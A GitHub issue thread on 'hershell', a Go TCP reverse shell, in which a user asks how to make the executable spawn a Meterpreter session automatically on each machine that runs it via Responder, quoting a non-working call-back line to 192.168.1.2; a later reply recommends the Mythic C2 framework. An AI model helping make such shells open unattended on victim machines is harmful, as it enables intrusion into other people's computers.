sysdream / hershell

Hershell is a simple TCP reverse shell written in Go.
529 stars 86 forks source link

Automaticly spawn meterpreter shell without interaction #8

Open vincentcox opened 4 years ago

vincentcox commented 4 years ago

What should I modify in the code to automatically spawn a Meterpreter shell? For example if you use responder to launch the executable, only the first computer will be able to spawn a shell. That's why I want to let it spawn immediately to Meterrpreter.

I was thinking to put the following line in the source code (in the main code):

meterpreter.Meterpreter(transport, address)

But it doesn't seem to work.

Also if I try:

meterpreter.Meterpreter("https", "192.168.1.2")

Any idea what I do wrong?

ZxOxRxO commented 7 months ago

What should I modify in the code to automatically spawn a Meterpreter shell? For example if you use responder to launch the executable, only the first computer will be able to spawn a shell. That's why I want to let it spawn immediately to Meterrpreter.

I was thinking to put the following line in the source code (in the main code):

meterpreter.Meterpreter(transport, address)

But it doesn't seem to work.

Also if I try:

meterpreter.Meterpreter("https", "192.168.1.2")

Any idea what I do wrong?

hi can you resolve this problem ?

can you help me to use it ?

vincentcox commented 7 months ago

Never got an answer and the last code commits are from 5-6 years ago. I suggest you move on to other github projects which are maintained.

I suggest

https://github.com/its-a-feature/Mythic

https://mythicmeta.github.io/overview/